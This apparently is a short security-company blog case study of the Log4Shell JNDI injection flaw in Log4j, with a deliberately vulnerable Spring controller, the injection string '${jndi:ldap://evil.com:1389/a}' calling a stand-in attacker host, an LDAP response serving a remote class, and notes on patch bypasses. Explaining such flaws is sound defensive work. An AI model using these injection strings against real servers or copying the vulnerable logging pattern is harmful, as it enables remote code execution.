Blog

JNDI injection. Log4Shell case study

On December 10, 2021, Apache released a fix for CVE-2021-44228, a critical RCE vulnerability affecting Log4j that is being exploited in the wild.

schedule a call

a lot of people talked about this — https://github.com/snyk-labs/awesome-log4shell

${jndi:ldap://evil.com:1389/a} in ALL fields!

Underlying mechanism

  • log4j could do JNDI lookups all along
  • no gadget required, javaCodeBase+javaFactory in LDAP

Vulnerable application example

@RestController
public class MainController {

    private static final Logger logger = LogManager.getLogger("HelloWorld");

    @GetMapping("/")
    public String index(@RequestHeader("X-Api-Version") String apiVersion) {
        logger.info("Received a request for API version " + apiVersion);
        return "Hello, world!";
    }

}

Exploitation

log.info("${jndi:ldap://evil.com:1389/a}")
~ ldapsearch -x -H ldap://patch.log4shell.com:1389  
# extended LDIF  
#  
# LDAPv3  
# base <> (default) with scope subtree  
# filter: (objectclass=*)  
# requesting: ALL  
#  
  
#  
dn:: Y249bG9nNHNoZWxsLWhvdHBhdGNoLCA=  
cn: log4shell-hotpatch  
javaClassName: attempting to patch Log4Shell vulnerability with payload hosted  
on: http://patch.log4shell.com:80/Log4ShellHotpatch.class  
javaCodeBase: http://patch.log4shell.com:80/  
objectclass: javaNamingReference  
javaFactory: Log4ShellHotpatch  
  
# search result  
search: 2  
result: 0 Success  
  
# numResponses: 2  
# numEntries: 1

http://patch.log4shell.com:80/Log4ShellHotpatch.class
public class Log4ShellHotpatch implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        /* payload */
    }
}

Hour-one mitigations


Patch bypasses

  • JNDI still usable, so DoS was found (boring) and subsequently escalated to RCE (not boring)
  • LOG4J_FORMAT_MSG_NO_LOOKUPS and %m{nolookups} bypassed via altering the thread context (e.g. ${ctx:apiversion}) in some cases
  • host verification bypassed with 127.0.0.1#evil.com

Post-patch vulnerable code example

@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {

    // Add user controlled input to threadcontext;
    // Used in log via ${ctx:apiversion}
    ThreadContext.put("apiversion", apiVersion);

    // Notice how these changes remove apiVersion from directly being logged
    logger.info("Received a request for API version");
    return "Hello, world!";
}

Insecure deserialization

Insecure deserialization is when user-controllable data is deserialised by a website. This potentially enables an attacker to manipulate serialised objects… Read more